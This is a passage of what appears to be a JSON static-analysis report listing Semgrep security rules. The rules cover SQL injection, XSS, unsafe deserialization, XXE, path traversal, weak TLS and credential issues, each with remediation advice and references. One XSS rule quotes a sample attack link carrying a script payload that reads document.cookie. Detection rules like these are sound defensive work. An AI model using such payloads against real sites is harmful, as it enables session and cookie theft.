attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django","id":"python.django.db.ponyorm-django.ponyorm-django","name":"python.django.db.ponyorm-django.ponyorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.ponyorm-django.ponyorm-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","id":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","name":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.xss.ktor-request-xss.ktor-request-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","id":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","name":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"help":{"markdown":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation)\n - [https://twitter.com/peckshield/status/1510232640338608131](https://twitter.com/peckshield/status/1510232640338608131)\n - [https://twitter.com/FrankResearcher/status/1510239094777032713](https://twitter.com/FrankResearcher/status/1510239094777032713)\n - [https://twitter.com/larry0x/status/1510263618180464644](https://twitter.com/larry0x/status/1510263618180464644)\n - [https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9](https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9)\n - [https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f](https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f)\n","text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"helpUri":"https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","id":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","name":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ELB has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"ELB has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"ELB has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","id":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","name":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust)\n - [https://angular.io/api/router/ActivatedRoute](https://angular.io/api/router/ActivatedRoute)\n - [https://angular.io/api/router/ActivatedRouteSnapshot](https://angular.io/api/router/ActivatedRouteSnapshot)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","id":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","name":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"help":{"markdown":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss)\n - [https://owasp.org/www-community/attacks/DOM_Based_XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS)\n","text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss","id":"javascript.browser.security.dom-based-xss.dom-based-xss","name":"javascript.browser.security.dom-based-xss.dom-based-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.dom-based-xss.dom-based-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint","id":"rust.rocket.sql.sqlx-taint.sqlx-taint","name":"rust.rocket.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"help":{"markdown":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request)\n - [https://cwe.mitre.org/data/definitions/95.html](https://cwe.mitre.org/data/definitions/95.html)\n","text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","id":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","name":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"help":{"markdown":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","id":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","name":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-file-permissions.insecure-file-permissions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express","id":"javascript.express.db.sqlite-express.sqlite-express","name":"javascript.express.db.sqlite-express.sqlite-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sqlite-express.sqlite-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"help":{"markdown":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls)\n - [https://golang.org/pkg/net/http/#ListenAndServeTLS](https://golang.org/pkg/net/http/#ListenAndServeTLS)\n","text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls","id":"go.lang.security.audit.net.use-tls.use-tls","name":"go.lang.security.audit.net.use-tls.use-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.use-tls.use-tls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","id":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","name":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not 